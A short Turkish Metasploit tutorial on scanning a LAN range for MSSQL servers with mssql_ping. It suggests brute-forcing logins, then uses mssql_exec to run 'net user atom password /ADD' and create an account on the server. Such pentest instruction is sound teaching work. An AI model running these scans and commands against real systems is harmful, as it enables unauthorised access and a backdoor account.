MSF İçinde MSSQL Tarama
MSF İçinde MSSQL Tarama
Metasploit Framework’ün kullanıcıya sağladığı imkanlardan bir tanesi de dahil bulunduğunuz ağdaki diğer Ip adreslerinde MSSQL kurulumunun olup olmadığını araştırabilmenizdir. Bunun için UDP tarama ile iz araması yapılır.
MSSQL ilk kurulduğunda varsayılan olara 1433 numaralı porttan dinleme yapar. Dinlemenin, 1433 portundan değil de rastgele seçilen portlardan yapılması ayarlanmış olabilir. Bu durumda da 1434 numaralı porta, dinlemenin hangi porttan yapıldığı sorulabilir.
Aşağıdaki örnekte, öncelikle içinde mssql ifadesi geçen modüller aranmaktadır.

Listelenen modüllerden auxiliary/scanner/mssql/mssql_ping isimli modülü kullanacağız. Aşağıdaki örnekte 10.211.55.1/24 IP adres aralığına MSSQL taraması yapılmaktadır.

msf auxiliary***(*** mssql_ping***)*** ***>*** set RHOSTS 10.211.55.1/24

Sonuçta görüldüğü gibi 10.211.55.128 IP adresinde ve 1433 numaralı Portta MSSQL servisi çalışmaktadır. Bu noktadan sonra mssql_exec modülü kullanılarak brute-force denemeleri yapılabilir. Alternatif olarak medusa veya THC-Hydra kullanılabilir.
msf auxiliary***(*** mssql_login***)*** ***>*** use auxiliary/admin/mssql/mssql_exec
msf auxiliary***(*** mssql_exec***)*** ***>*** show options
Module options ***(*** auxiliary/admin/mssql/mssql_exec***)*** :

msf auxiliary***(*** mssql_exec***)*** ***>*** set CMD net user atom password /ADD

msf auxiliary***(*** mssql_exec***)*** ***>*** exploit
Yukarıdaki örnekte, exploit başarılı olduğu takdirde, net user atom password /ADD komutunun gönderilerek MSSQL veri tabanına bir kullanıcı eklenmektedir. Bu komutun, set CMD net user atom password /ADD ile CMD değişkenine girildiğine dikkat edin.
